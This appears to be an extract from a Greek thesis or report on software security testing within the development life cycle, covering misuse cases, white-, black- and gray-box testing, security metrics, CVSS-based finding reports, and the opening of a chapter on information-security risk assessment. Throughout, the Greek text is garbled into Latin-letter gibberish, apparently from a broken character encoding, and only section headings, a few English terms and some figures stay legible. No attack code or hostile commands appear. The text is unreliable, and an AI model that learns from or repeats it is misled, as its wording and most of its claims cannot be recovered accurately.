TEPUTAOGE®V YpNomng (USe cases). O TepImTMGELS YPNoNG OElVOVV GE YPOUPIKT LOPPT
TIG OAAMAETOPAGELG T®V “actors” (ypnotg M e£MTEPIKT GUVOEST) KOL TV CYECEDV
ToVG Kot fonBovv oTov evtomoUd TAPAYOVTIWV GTNV EQUPLOYT, TOV GYECEMV TOVG,
TOV EWVIKOV OTALTNOEDV, KABMG Kot TV TpodTodicemv.
AVTIGTOL(O LLE TIG TEPITTMOGELG YPNONG, Ol TEPUTTMOCELS KOKNG YPTOMNG KOl KATAYPTONG
[11] meprypdoovv To cevdpla aithong yio akovola 1 KoKOBOLAN xpnomn. Avtég ot
TEPMTOGELS KOKNG xpNiong dlvovv pia LEBodo meptypapng TV cevapimv yio tov Tpdmo
pe tov omoio évag eloPoréag pmopel va KAVEL KOKT ¥pNoT Kot vo Kotoypaotel pio
epapuoy”. Mécw pepovopévov Pnudtov oe £vo 6evaplo xpnong Kot viroAoyilovtog
KOKOPOVLAEG YPNOELS, EVOEXETOL VO OITOKOALPOOVV TUYOV OTEAEIEC TNG EQAPLOYNG.
Eivar onpavtikd va meptypa@oiv 660 10 duvatd TePIGGOTEPES KPIGIUES YPNOELS Kot
To. avTictorya cevapla Katdypnons. H kotaypoer) tov Kplodtepmv mepmtocemy
KOKNG ¥pPNoNS Kot Kataypnong Pondd oty tekunpioon 1oV anaitioe®v acQareiog

KOl TOV avayKoiov EAEYY@V Yo TNV HElmoT TV KvOHveV ac@aAEiog.

1.7 Aoxkipég 06QOAEINS EVOOUATONEVEG OTIS POES EPYACLAOV OVATTUENS KOL
S0KIUOV

Evtdoocovtoc tic dokipuéc acoareiog otov Kokio Zmng Avantvéng Aoyiopuxov,
e€ac@ariletol omd TOVG TPOYPUUUOTIOTEG 1) OLVATOTNTA EAEYYOV TMV EMUEPOVG
GLGTATIKOV TOV AOYIGHKOD, TPV eVeOUAT®OOUV e GAAa oTotyeio Kot evtaybovv
GTNV EPOPUOYN OV avantuGoeTal. Ta oTolyeior Tov AoYIGHIKOL TTov Ba doKIHaGTOHV
UIopEl var amoteAovVToL 0o avTIKEipEVH Aoyloutkob onmg sivar functions, uébodot,

KAdoglg, dtemapés, fiprlodnkec | ektedéoipa apyeia. o v dievépysta Tmv eEAEY OV
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AGPUAELNG O TPOYPUUUATIOTES O HTOPOVV VO BaGIGTOVV GTNV OVAAVGT) TOV TTNYaiov
KOOKA, LE OKOTO TNV oTaTIKN enainfgvon 0Tt dev mepi€yet evmabeteg, kabmg Kot 6T
GUUUOPPAOVETOL UE TA ACPAAT TPOTLTO KMIKoToinonc. EmmAéov, ot opddeg dSokipumv
acQoAElag Bo pmopovv vor EAEYEOLV QLVAIKA KOTA TOV XpOVO eKTEAEONC, OTL TO
ototyeia Aertovpyohv cOUP®VO LE To avapevopevo. Eivatl katavontd 0t amatteitol n
EMOVEEETAON KOL EMKVPMOOT] TOV OMOTEAECUATOV TNG OTOTIKNG, KOOMG Kol NG
SLVOUIKNG aVAAVOTNG, TPV TNV EVOOUATOGCT TOV VE®V 1 TOV VOIGTAUEVOV OAALYDV
KOO 6TV avATTLEY TNG EQAPLLOYTS.

Me dedopévo OTL KOTA TNV POT} TOV EPYOUCIMV TNG d1adIKOGTOG AVATTUENC AOYICUIKOV,
Ta otolyeio Kot ot aAloyEG KDk dOKIUALOVTaL amd TOLG TPOYPOLUUATIOTES Kot
eAEYYOVTOL KOTE TV dNUIOVPYIN TOV EPUPLOYDV, GTI) GUVEXELD OTOLTEITOL 1) EKTEAECT
SOKILOV 6NV €Papuoyn o¢ cvvoro. Ot dokiég acpareiog oe avtd 10 eminedo,
BonBovv oty emkhpwon g AEITOLPYIKOTNTOG ACPAAELNG TNG EPOPLOYNG CUVOAIKA,
Kkabmg kat tng £kBeong ¢ oe gumdbeteg kat mephopBavouy dokiuég Aoyikng “white
box” 6mwg givar yioo mapadetypo 1 ov@Avon to TNYaiov KOOKA, 060 KOl SOKUES
Moywng “black box” omwg eivar ot dokyég deicdvong. Emmdéov umopei va
vAomotovVTOL Kot SOKIUES AoYIKNG “gray box”, ot onoieg eivan mapopoteg pe to “black
boX”, 6OV 01 ELEYKTEC £XOVV KATOLEG YVDGELS OYETIKA LUE TN OloElpLom TG GVVOEGTG
™G EQUPHOYNC.

210%0¢ TV JOKIUDV ac@aAeiag o€ avt) TN @Aom eivar o €Aeyyog Tov TANPOVG
cLoTNUATOG oL propel va dexBel eniBeon kou mteptlapPdvel TOGO TOV TYAi0 KOOKA,
000 ko Tov ekteAéoo. Emiong pmopel va anopaciotel va a&torombovv ta tpwtd
onueia kol vo extebel M QapUOYN GE TPOAYUOTIKOVG KIVOUVOUS, OTmG eivol KOWVEG
evmabeleg tov Web epoppoydv 1 Oépoto aceaieiog mov eiyav €VIomoTEL GF
TPONYOOUEVES PAGELC.

Y€ ot TN AcM Ol SOKIUEG OEV DAOTO0VVTOL ATO TOVG TPOYPUUUATIOTEG, OAAN OO
UNYOVIKOVEC SOKIU®MY Ol 0Toiol £Y0VV YVAOGEIS acPaAsiog Yo, evtadeleg tov web
EQAPUOYDV, KaOMG Kot TeYVIKEG Aoyikng “black box™ wkan “white box”, evd katéyovv
Kol TNV EMKOLPOON TOV OTOUTHGE®Y 0o@oAeioc. Amapaitntn mpoindBeon eivar ot
TEPUTAOGELS SOKIUADV AGPUAEING VO TEKUNPUDVOVTOL GTIG 0ONYIEG KOt TIG O100IKAGTES

TOV OOKIU®OV AGPaAELOC.
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AoV emkvupmOel 1| AoQAAELD TNG EPOPLOYNS OE QLT TN PAoT, UTopel TAEOV va d00el
v EAeYY0 o€ Aertovpykd meptBaAlov amd Tovg ypnoteg. Acdopévon 6Tt anTn glvar n
terevTOio PACT] SOKIUMDV Y10l TOV EVIOMIGUO TUYOV TPOTAOV ONUEI®V, TPV TNV Evtaén
™G EPOPUOYNG GTNV TOPOY®YN, EIVAL GNUAVTIKO VO EVTOTIGTOVV 0G0 TO OLVATO TTLO
ToALG {ntpata aceaieiog, ®ote va d1opBwBovV 1 va avayvoplotody Kot yivouv

amodekTol TVYOV Kivoduvol Tov Ba amopaciotel TeAkd vo unv 610pBwOovv.

1.8 Aoxipéc aoc@areiog TPOYPURUPRATIOTAOV

Boowog 010)0¢ TV SOKIUOV 0oQOAEING Yoo VOV TPOYPOUUOTIOTY, OTOTEAEL M
EMKOPWON OTL 0 KOOKAG £xel avamtuyfel COUPOVO HE TO OGQPUAY TPOTLTO
kmdwkonoinong. Ta epyaieio kwdikomoinong, 6nmg eivor ot functions, ot pébodot, ot
KAdoelg, ta APD’S kor ov Piprodnkeg, Bo mpémer va éyovv emkvpwbel mpwv
evoopUat®OodV GTIC EPAPUOYES.

Ot amonitoelg aceoareiag Oa mTpémel va TEKUNPLUOVOVTOL GOUPMOVO UE TO TPOTLTA
AGPAAEING KOIKOTOINGNGS, KAB®DS KOl VO, EMKVPADOVOVTOL COLLPOVO, LLE TN GTOTIKY| KO
™ Suvaptky avaivon. Eqv n opdda doxipdv akoiovBel tnv avabedpnon acoareiog
TOVL KMOKO, UTOPEL VoL EMKVPADGEL OTL 01 OAANYES KOOIKO TOV OaTeital va yivouv,
epapuolovtar pe Tov cotd Tpomo. Ot avabewpnoelg acPoreiog TOV KOOKA, KOOMOC
KOl 1 0vAALGM TOL Tyoiov k®OtKa, Bondd Tovg TPOYPUUUATIGTEG VO EVTOTIGOVV
Bépata aceaieiog otov mnyoio kdowa. Me v xpnomn HovAdwV SOKIUOV Kot
duvapukn  avaivon, pmopel vo emkvpwBel 1 AETOLPYIKOTNTA OCEOAEINS TV
otoyeiomv, evod emiong eivor €iktd va emainbevbel 6tTL Ta avtipetpa mov £yovv
avartoyBel, peudvouv TOvg KWOOVOLS ac@aieiog mov elyav  evtomiotel o€
TPONYOVUEVES PACELS, e TN YPNON TNG HOVTEAOTOINONG AmEL®V, Kabdg Kot TNV
avaALGN TOL TN YooV KOOIKAL.

H ypnion nepintocemv doKIUdV ac@areiog ¢ covita doKIU®V ac@oAeiog, 1 omoia
EVIAGGETAL OTO YEVIKO TAOIGL0 OOKIU®V, OmoTeAel piol KOAN TPOKTIKN Yol TOVG
TPOYPOUUOTIOTEG. AVT M covita JOKIU®V ac@oieiog &xet Onmuovpyndel omd
TPONYOVUEVES TEPUTTMCELS YPNONG KOl KAKNG ¥pions. Mmopel va teptlapavet eniong
TEPUTTAOGEL OOKIUMY OCPUAEING HE OTOYO TOV EAEYY0 OETIKOV KOl OPVNTIKOV

ATOUTOEMV Yo EAEYXOVG OOQOAElRG, OmMMC &lval o EAEYY0G TOLTOTNTAG KO
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TPOcPaonc, 1 EMKHPWST GOS0V Kl KOSIKOTOINGN, 1] KPLTTTOYPAPN G, 1| Olayeipion
APNOTOV KAT.

Ta cevdplo amelA®v mov eviomilovtol HE TEPUTMOGELS XPNONG KOl KOUKNG XPNONG,
umopoHv va ypnoomombovv pe 6toéX0 TNV TEKUNPIOON TOV JUdIKACIOV SOKILOV
TOV GLGTATIKAOV TOL AOYICUIKOV.

210 emimedo TV COMpPONENnts, ot povddeg OOKIUADV aCQOAElDG HUTOpovV Vv
TEKUNPLOGOVY BETIKODG, OGO KOl ApVNTIKOVS IGYVPIGHOVE, OTTMG VO Yio TOPBEOETY Lo
TOL GOAALATO KO O YEPLGUOS TOV EEAPECEWDV.

X eminedo TG LOVASAG, Ol TEPMTMGELS SOKIUMY ACPUAEING LITOPOHV VO avamTLYOovV
amd évav unyavikd acealeiog, o omoiog £xetl eumelpio 6TV AGEAAELN AOYIGUIKOD KO
Ba &xer v guBHVN TG EmMKVPOONG Kot TOv EAEYYOL TV BepdTmV aceaieiog oTov

Tyaio KOOKAL.

1.9 Aoxipég ao@areiog AELTOVPYLAOV

Ot ohoKANpoUEVES SOKIHES GLGTNUOTOG, £XOVV GOV GTOYXO TNV EMKVP®ON OTL M
EQOPLOYN TOV ELEYXOV AGPALEING TAPEYEL ACPALELNG GE TOALA EMIMED QL.

To integration mepifdriov dokiudv givor to mEPPAAAOV SOKIUOV GTO OTOi0 oL
OOKIUAOTEG EYOVV TN OLVATOTNTA EVEOUATOONS TPOYUATIK®OV cevapiov emBEcewV,
Om®¢ Bol LITopovCAY VO EKTEAEGTOVV O EVaV KAKOBOVAO XpNGTN TNG EPAPUOYNG, ElTE
VTG etvan eEMTEPIKOS YPNOTNG N AKOLLA Kot E6MTEPIKOS. OTOTE 01 SOKIUES aGPaAeiog
o€ T T edon etvan og BEom va eAéyEovv v Ta TVYOV TPWTA opeio TG EPAPLOYNG
umopoHv va xpnoiporonfovv amd kakdoviovg e1GPoAels.

Ta cevipla doKiudv vAomolovvton €ite pe yewpokivnteg pnebddovg M pe epyoireio
SOKIL®V dleicdVONG Kol OVCICTIKA TPOKELTOL Y10 SOKLUEG TTOV £XOVV GOV GTOYO TOV
ELeYY0 NG EQUPUOYNG GE TEPPAAAOV TTOPAYWDYNG.

O éleyyoc acoporeiog epoppoydv omoutel oamd Tovg TEYVIKOVS 7oL OO TOVG
VAOTTOMGOVVY VOl £XOVV TOAD EEIOEIKEVUEVES YVDGELS, OTIG OTTO1EC GLUTEPTAAUPAVOVTOL
Kol YVAGELS 6€ AOYIGHIKO, KOOMG Kol 6€ AoPIAELN. AVTEG Ol YVOGELS OV ATOTEAOVV
TOL TUMIKG TPOCOVTO €VOC UNYOVIKOV OCQUAEING, Yo OVTO OMOLTEITOL GUVEYNG
e€owceiwon oe teyvikéc nbwcov hacking, oe dwdikacieg, Kobmg Kol gpyoleia

a&loA0YNoNG TG AGPAAELNG.
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Metd v OAOKANP®OT TV JOKIW®V OGQUAEING TOV GLGTAUATOG, OKOAOLOEl M
oteEaymyn TV SoKIU®OV ac@aAieiag amd Tovg ypnoteg, 6mov TALov dokipaletarl n
EQUPUOYT G TEPIPAAALOV TOPAYMOYNG, Y10 OLTO Kol VAL TO TO10 AVIUTPOCHOTEVTIKO GE
oyéomn ne v Eviaén g epappoyns o€ mopaywyn. Edd dokipudlovion Oépata oyetikd
pe N SlopOPP®ON TNG OCQAAELNG, TO, OTOl0 EVOEXETOL VO EUTEPIEXOVY Kot BEpaTa
VYNA0D KvoOvVov, OTtmg glvar yio Tapddetypo 1 pOHOIIoT TOV EAAYIOTOV SIKAOUATOV

N Tov &ykKvpov ToTonomTIKOL SSL otov dlakoputoty mov @uiofevel tnv web

EPAPUOYT.

1.10 Avaivon ko reporting T@v d£dopévev ac@aisiog

O oplopdg TV oTdOY®V Yo TG LETPNGELS acPareiog eivar Pacikn tpodmdOeon yio T
YPNON OEOOUEVDV JOKILMY ac@oAeiog Yo dtadikacieg avdivong kot dtoyeiptong
Kwvdovov. O ocuvolkdg aplBuds ToV VPNUATOV TOV OOKIUOV OoQOAEioG Yio
TOPASELY IO, UTOPEL VO OO YNGEL GTIV TOGOTIKOTOINGT TOV EMTEIOV AGPUAEING TNG
epappoyns. Eniong pnopet va copfdrlovv 6tov VIOTIGUO TV GTOY®OV TOV SOKLUOV
AGPOAEIDG TOV AOYICUIKOV, OTMOC Yoo TOPAdEYHo. 0 KOBOPIoUOS TOv €AAYLGTOV
amodeKTOV aplBpov evmadei®dv TPty amd TV £viadn TG EPOPULOYNG GE TOPOYOYN.
Eniong 8o pmopovoe va cuykpifei 10 eninedo ac@dAelag TG EPUPUOYNG OE OYECT LE
eEMAY10TO OPIoUEVO EMIMEDD ACPOAEING, Le OKOTO TNV a&OAGYNON TOV OUOIKAGIOV
acQareiog.

e évav KAooKO TPOTO SOKIUNG £VOG AOYIGUIKOD, 0 aplOUOg TMV EAUTTOUATOV TOL
umopel va dceL T0 emMimedo TG TOOTNTOG TOL. AVTioTOL Ol EAEYYOl ACPOAELng
TOPEYOLY TO EMMEDO AGPAAEING TOV. ATO TNV TAELPE TNG dlayEIPIONG CPOAUATOV, N
TOLOTNTO KO T ACPAAELD EVOG AOYIGUIKOD, YPNCILOTOIEL KOVEG KATIYOPLOTOGELS Y10
v pilo T@V TPOPANUATOV Kol TNV TPOCTAOELD OTOKOTACTACTG TOV EANTTOUATOV.
Amo Vv mAevpd TV ottiov, Eva TpoPAnua aceareiog evoéyetal va opeileTal o€
cQdApo oyedlaouob 1 kwotkoroinong. TEAOC amd TV TAELPA TS TPOSTADELNG TTOV
yperaletal yio TNy S10pHwon TV GEAAUATOV gite acQAAELNG 1) TOOTIKOV GOAAUATOV,
umopet va petpn0et o xpdvog, ot TOPOL Kol To KOGTOS TOL omouteitan yio tnv 010pHwon

TOVG,.
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Mo v a&oAdynon tov emmédon acPaAeiog piog ePapuoyns, Eival GNUOVTIKO Vo
VTOAOYIGTOUV KAmOool apdyovtes. 'Evag amd avtovg eivar to péyebog g epapuoyng,
OOV OTATIOTIKA £XEl amodElOel OTL £xel oyéon pe Tov apliud TOV EVPNUATOV TOV
eléyyov. To mapaderypa £xel vmoroyiotet 0Tt avd 1000 ypappés véov 1 aAloypévou
KOJKa, avtiototyovv 7 émg 10 ehattopata [12]. Eedcov pmopei vo peiwdei katd 25%
0 aplBpds TOV EAUTTOUATOV ava EAeyyo, €lval katavontd OTL Ol HEYOAVTEPEG
EQUPUOYES ATOLTOVV TEPLGGOTEPOVS EAEYYOVE GE GYEOT) LUE TIG MKPOTEPEC.

H vlomoinon doxipdv aceareiog oe dtapopeg pacelg tov Kokiov Zong AvantuEng
Aoylopikov, divel tn dvvatdotnta vor diepevvnBodv ot dSuVATOTNTEG TOV JOKIUMV
AGQPOAELNG, LE TNV AVIXVEVOT] TOV TPOTAOV oNUEI®V LOALG v Td dnptovpynBovv. Eriong
pmopet va amodetyfel 1 0modoTIKOTNTA TG EQAPUOYNG OVIILETP®V GE dLAPopa onpeio
eréyyov tov Kokhov Zmrg AvantuEng Aoyiopkov, omd v amoTeAecUATIKOTNTO TG
peimong Tov Tpotdv onueiov. I'a mopddsrypo vdpyel n HETPNON TNG KOVOTNTOG
plag agoloynong aceoaieiog m omoio ekteleitar oe KAOe QAo NG SLOIKAGIOG
avamTuENG, va dlatnpel avTicToya TNV AcPAAeld ova paon (“UETpmon TEPLOPIGUOD”).
Ot petpioetg avtég fonbovv ot peimon Tov KOGTOVG Yo ToV KaBopiopd TV IpmTdv
onueiov, 6mov eivar koatavontd OtL givor mPoTdTEPO Vo avTLETOTIOVTAL Ot
gumabetec otny 1010 edomn tov Kdxkiov Zmng Avantuéng Aoyiopikov, 6€ oEon LE TOV
KkaBop1opd TOVG GE LETAYEVEGTEPT PAOT.

Ot petpnoelg Tov SoKILOV ac@oAeiog pmopodv va vroostnpiEovy v avdivon
KIvdUVOL 0cQaAEinG, TO KOGTOG KOl TNV 0VAALGT TOV EAATTOUAT®V, OTOV UTOpovV Vo
oLVOEHOVV e OmTONG Kol YPOVIKA ETIAEYUEVOLS GTOYOVG, OTTMS EIVOL Y10 TAPAOELYLOL
N pelwon Tov GLVOAIKOV apBoD TV TPOTOV onpeiov Katd 30% 1 0 Tpocdopioudg
TV Bepdtov aocpaleiog € OpiopéEVO XPOVO.

Ta dedopéva TV dokiudv aceareiog propel va gival amdAvta 1 cvyKpicLa, OTMG
elvolr yio mopdderypo o aplBudg TV ELTOOEUDY TOL EVTIOMIGTNKAV KOTA TNV
avafedpnon kmOKa 1 avtioToyo o aplfuds TOV ELTUOELDY TOV EVIOMIOTNKAY GE
avafempnoels, o€ oyéomn pe TG dokipég deiodvong. ' va pmopel va agloroyndel n
moldTNTO TNG dladikaciog acpaieiog, ivat onpavtikd va kabopiotel To 0p1o 10 omoio
Ba Vv kpiver amodektn. Eniong ta dedopéva tov dokiumv aceareiog 0o umropovoav

Vo VTOGTNPIEOVY GLYKEKPIUEVOLS GTOYOLG TNG OvOAvoNnG aceoieiog. Avtd ta
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avtikeipeva 0o pmopovoay vo GUUHOPPM®OOHV LE KOVOVIGUOVE 1) TPOTLTIO ACPOAEING,
™ Ol ElpLoT TV SOIKAGLOV ACPOAEING 1] TOV EVIOTICUO TOV UTIOV Kol BEATIOCE®V
TOV O1001KAGIOV 0oQAAEING, KAODS Kot TV avAAVOT) KOGTOVG-0QEAOVS AGPAAEING.
Eivor katavontd 01t o dedopéva TV SoKIUOV ac@aleioc, Oo mpémel va mapEyovv
petpnoelg ot omoieg Ba fonBnocovv oty voopEn ¢ avdivong. To €0pog g
avaAivong kabopiletar amd v epunveia ToV SeSOUEVOV SOKIU®OVY, PE OKOTO TNV
dtepehivnon evOEiEEMV GYETIKA LE TNV AGPAAELN TOV TOPAYOLEVOV AOYIGUIKOV, KOOMG
KO TNG ATOTEAECUATIKOTNTOG TNG O1001KOGTOG.

[Na va e€aybovv cwotd cvumepdopata Twv 6ed0UEVOV SOKILMV, EIvol ONUAVTIKO Vo
VIApYEL 0G0 TO OLVOTO TEPIGGOTEPN KATAVONGN TNG OldKaciog OOKIUNG 7oL
akolovOnOnke, KaBMOG Kol TV epyoreiwv mov ypnotpomomOnkay. Etvat onpovtuco va,
vobemBel pio Ta&vopmon tev epyoieimv, OGTE Vo amoPAcIoTel ol epyaleio
ac@oAeiag stvor mpotdtepo va ypnowonombovv. Ta epyoieio acpareiog sivor
YPAOIL YLO. TNV OVOKAALYN YVOOTOV €LTOOEIDV 7OV GTOYEVOLV OLUPOPETIKA
QVTIKEILEVOL.

Tu yiveton dpwg pe ta dyvoota ntiuata aceoieioc? Avtd eivar dedopévo mwg dev
eAEyyovTal, omoOTE TO YEYOVOS OTL pio dokun aceaieiog kpidnke 6Tt oAokAnpmOnke
EMTVYADGC, OEV oNUaivel 0Tl dgv vITdpyovY {NTNUOTO ACPUAELNG. ZOUPOVO [E LEAETES
[13], xpiveton g to epyareio eEAEyyoV ac@areiog umopovv vo, eEakpipdoovy udvo
10 45% mepinov TV CLVOMKAOV TPOTAOV CTUEI®V.

Omndte yiveton katovontd mwg axdpo kol to oo e&ehypéva avtopota epyoieio
eEAEYY@V, vOEYETOL VO OGOLY pia yeudn aicOnomn acedietoc. Xvvibwg, 660 mo
eE10e1KELIEVOL Ko EUTTELPOL Elval 01 OOKILOOTEG acPaAeiag e T peBodoroyia kot Ta
gpyoireia TV SoKIU®V aceaieiog, TOG0 KaAvtepa amotedéspota Ba e&oybobv. Amo
TO. TOPOTAVE GULUTEPOIVETOL TG £VOG OPYOVIGUOS, €KTOC Omd TNV €MEVOLON OF
gpyoreio eAEyyov aoceoAeiag, eivor onuaviikd va enevovoEl Kol o€ avOp®OTIVO

dvVopIKO TO 0mo10 B TPETMEL VO EKTAOEVETAL GVVEY(DG G€ OEUATA SOKIUDV 0GPUAETLNG.

1.10.1 Ilpodwppapés s éxbesons Aéyyov
To emimedo ac@areiog piog epappoyns, yopokmpileror amd v OnTIKN YOvio TOL

AmOTEAECUATOC, OT®G €ivarl 0 apBpdg Tov evmabeldv Kot 1 a&loAdynon Kvovvev
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TOVG, KOOMG Kol omd To aitier | TNV TPOEAEVOT] TOVG, OTMG Eival To. GOAALOTO
KOJKOTOINGNG, TO EAATTAONOTO APYLITEKTOVIKNG, KaBmG Kot OEpata S1opdpemong.
Ta gvpruata propovv va tastvounfodv cOUP®VE LE JAPOPETIKE KPITHPLN, OTMC
givan yuo mapdderypa o Common Vulnerability Scoring System (CVSS) tov Forum
of Incident Response and security Teams (FIRST) [14].
Mio avo@opd de30UEVMVY SOKIUAOV acPaAEiag, KpiveTal okOmo Bdost Tov BEATIoTOV
TPOKTIKOV, VO TEPIAAUPAVEL TIC TOPAKAT® TAPOPOPIES:

e Kammyopromoinon guprpatog

e Tianetkeitanl and To Hpnua

e H xdpa artio tov Bepdrov acpareiog

e H teyvikn ehéyyov mov ypnoiponombnke

e Ta mpotevopeva avtipeTpo

e H BaBuordynon g KpiotudTNTog TOL EVPNUATOG
[Teprypdpovtag v ameldn yivetor KoTavontd €6v Kot yoti o Aeyyog UETPLOGHLOD
elvar avamoterecpatikoc. H avapopd g koprog artiog tov TpoPfAnuatog, Bondd oty
KaTavonomn tov Tt Tpénel vo 010pOmbel. MOAg avapepBovv evpripata, sivot onpovtikd
va Tap€xovtanl 0dNyieg GTOV TPOYPOUUATICT] GYETIKE pe TV HEBodo emaveEéTaonc
Kot g0peong g evmdbelag. Ot mAnpogopieg oyetkd pe ) pébodo emilvong g
gumadelog, mpémel va etvar 660 T0 SLVATO TEPIOGOTEPO AETTOUEPEIC, MOTE VO €fvan
QKT N epapuoy” emdopbwongs. Téhog 1 a&lohdynon g coPapdtmros fonda ctov
voloyiopd ™G Sfdduiong Tov KvdUVOL Kol TNG EPAPYNONG TOV EVEPYEUDV

OTOKATAGTOOTG.

110.2 Emysipnoroxa Osuaro

[Ma va givon amodotikn pio avapopd dokung acealeiog, Bo mpénel va mapéyel a&ia
OTOVG eumAekopevovg oe Bépata aceoieiog evog opyoviopol, OmmG eivar ot
OLYELPIOTEG EPYWV, Ol TPOYPOUUUATIOTES, Ol VIELOVVOL AGPAAELNG TANPOPOPLADV, OL
E0MTEPIKOT EAEYKTEG KOl O1 OVATEPOL S1EVOVVTEG TANPOPOPIKTG.

O mpoypappatiotég e&etdlovy Ta 0E00UEVA TNG OVAPOPAS Y10 VOL SOVV EGV O KOKOG

avamTLENG £xEl avamTuyOel e AGPAAELN KO OMOTEAEGLOTIKOTNTA.
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Ot duyelptotég Tov £pyov e£€TalovV o dEOUEVE TOV TOVG divoLuV TN dLVATOTNTA VO
SLYEPIGTOVY Kol VO ASL0TOMGOVV TOVG TTOPOLS TV JOKIUMY OCPAAEINS, GOUPOVA
LE TO GYED10 TOV £PYOU.

Ta dedopéva TV doKImV Bonboldv TV ETLYEPNCLOKT TEPITTMOOTN €AV TPOEPYOVTOL
amd Tovg VIELOVVOVG AGPAAELNG TANPOPOPIDV, YIUTL UTOPOLV Y10, TOPAOELY L0 VL
amodei&ouv OtTL o1 dokéG acpareiog Katd Tov Kokio Zmng Avamtuéng Aoyiopikon
dev emnpedlovv Tov YpOvo TapAd0onG TOV EPYOL Kol TOPAAANAN LELDOVOLY TOV POPTO
€PYOCIOG OV OMOUTEITOL YOl TNV OVIUETOMION TOV EVTOOEUDV GE UETAYEVESTEPN
@aon.

[a tovg VrELOHVOLG KOVOVIGTIKNG GULUUOPPMOONG TOPEYETOL 1  TANPOPOPIN
GUUUOPPOONG TOL AOYICUIKOD GULPMOVO. [LE TO, IGYVOVTO TPOTLTO. AGPAAELNG KOl TG
Old1KaGieg TOV OPYAVIGHOV.

TéNoG Yo TOVG AVAOTEPOLG O1EVOVVTEG TANPOPOPIKNG KOl OGPAAELNG TANPOPOPLDV,
TAPEXOVTAL TANPOPOPIES GYETIKEG LLE TO KOGTOC-O0PELOG 0td TOL SESOUEVA TV SOKIUMV
ACPOAElRG, OOTE Vo UEAETNOOLV TG ovoykaieg Opactnpldtnteg Kot epyoireio

acPaleiag oo omoia amotteital vo EnevOVoEL 0 OPYAVIGUOG.
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KE®AAAIO 2 - MEOGOAOAOITA AZEIOAOT'HXHX KINAYNQN

e avtd 10 kePArato Oa yivel Tpoomabeia avanTvEng piog pebodoroyiog a&loAdyNoNg
KIVOUVOV 00QAAELNG TTANPOPOPL®OV, PAcEl TV KOTELOOVGE®V TOL TOPEXOLY TA
npdtumo. acpareiog mAnpoeoptdy. H aglohdynon kwvobvev oamotelel €va amd ta
ONUOVTIKOTEPO, OPYIKA OTAdL €VOG TANIGIOL ac@oAeiog TANPOQOPLOY, €VOG

0pPYOVIGHOV.

2.1 Yxomdg epappoyns tns pedodoroyiog
H a&loldynon tov Kivohvev ac@aieiog TANpopopidv eivat ToAD GNUAVTIKY] Yo EVov
opyaviopd, ylati £xel cav 6TOYO TNV OVAYVAOPLOT Kot SLXEIPIOT TOV KIVOOVAOV Yo TNV
OACQAAELD TOV TANPOPOPLOKOV TOP®V Tov. Q¢ TANpOoPoplakdg mTOpog opiletan pia
vanpecio, €Pappoyn, cvotnuo 1 Oiktvo, 6mov amodnkevovion enefepydlovion N
UETAOIO0VTOL TOAVTUYLEG TANPOPOPIES TOV OPYOVIGLOV.
['a 10 okomd aTo Kpivetan okdmipo vo vdpyet pio pebodoroyia yio tnv a&loldynon
TOV KOUveV acealeiog TAnpopopidv. H pebBodoroyia avtn Ba prnopet va cupfdiet
(MOTE 0 OPYAVICUOG VO GUUUOPPDVETAL LE TIG KAVOVIOTIKEG OTALTNGELS, KOOMG £miong
Ko va fondnoetl wote va Aappdvovtol ot amopacelg ol onoiec Oa evBuypappilovv tig
Opdoelg kol T emevOVGELS e TO EMIMESO KIVOUVOL TOL €ival amodeKTOg omd TOV
opyaviopd kot opileTor g avoyr Kvouvou.
H ovykexpuévn pebodoroyia Ba £xel cav otodyo va Béoetl éva miaiclo to omoio Oa
umopel cvveymg va. avayvopilel, va agloloyel Kot va mapakoiovdel tovg kivohvouvg
acpalieiag mAnpogopiwv. Emmdéov Ba eivar oe Béom va opilel ko ta KATOAANAQ,
pétpa aceareioc. O agoroyntg (1 N opdda a&loldynong avaioyo TV TEPITTMOOT)),
Ba pmopel péow g pebodoroyiag a&loAdynong Kivovvmy va:
¢ Avayvopicel Toug KPIGIHLOVE TANPOPOPLOKOVS TOPOVG Y TN AELTOVPYio TOL
OPYOVIGHOU KO TOVG GTPATNYIKOVS GTOYOVS TOL
o Avayvopicel kot vo o&loloynoet edv eivar mhovo, TuxOV VIAPYOLGES
eumadelec N advvopies TV OKAEId®V ac@aleiag, va ypnotipomonfody omd
ameég
e A&wloynoet eav ot mBavol  kivouvol  EMPEPOVLY  EMMTMOGCELG

YPNHUOTOOIKOVOUKES 1) KO A1) P HLOTOOUKOVOUKEG
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Kabopiocer kot va dafabuicer to mpoeik tov Ktvdohvov mov ameldel Tovg
TANPOPOPLOKOVS TOPOVE, UE GKOTO TNV EPUPUOYY| EVOG KATAAANAOL GYediov
Y10 TV OVTILETOTIOT TOV KIVOLVOV QVTOV

[Tpoteivel Tig KatdAAnAeg dikdeideg aopareiag ol omoieg Oa eivor oe BEon va
evtomilovv Kol Vo OTOTPEMOLV TIC TNYEG TV OmMEM®V Ol omoieg Oa
TPOCTOONGOVY VO EKUETOAAELTOVV TIC TLYOV ELTMAOEIEC, UE OKOTO TOV
TEPLOPICUO TOV KIVOOVMV GE QTOOEKTA EMITEO QL

Eivan og Béom va gmrpémel dtopkmdg v mopakorlovinon kot avagopd Tov

EVIOTIGUEVOV KIVOUVOV acQaAleiag.

H pebodoroyio a&lordynong Kivovvav dievepyeitol Kupimg e EGOTEPIKOVG TOPOVS TOV

opyaviopov. Edv mapoéia avtd avatebel oe eEwtepikd cuvepydn, o mpémer va

Stc@orletar 6Tt VLAPYOVY KOTAAANAEG SIKAEIDES AGPAAELNS Y10 TOV TTEPLOPIGUO TMV

KIVOUVOV AGOAAELNG TOV TATPOPOPLUDYV.

Mo pebodoroyia agloldoynong kivobvev Ba tpénel va eivan o 0éom va vrootnpilet:

Kpiowa mAnpopopikd custipato Kot TANpoeopieg Tov 0pyovicLoD

Néa cvotpata ta onoio Tpokertar va teBodv o€ Tapaywyn, eite avtd £yovv
ayopaoTel 1} £XOVV avamTLYOEL ECOTEPIKA GTOV OPYAVIGUO

Yrmdpyovto TANPOEOPLOKE GCLOTAUATO O©TO ONoio. £(OVV  EQUPLOCTEL
ONUOVTIKES AALOLYEG

Toyov véa mpoidvta, vanpecieg 1 dlepyacieg mov £xovv avamtuydel
Epoppoyn vémv teyvohoyudv (m.y. cloud networks, virtualization, wireless
networks «in.)

Yrdpyovteg 1 VEOLG £EMTEPIKOVG GLVEPYATES /Kot TpounBevtég ol omoiot

TOPEYOLY KPICIUES VIINPETIEG.

2.2 Polor TG drepynciag

Tnv emonteio Ko Tov €Aeyyo vAOTOINoNG TG dtadtkaciog dluyeiptong Asttovpykon

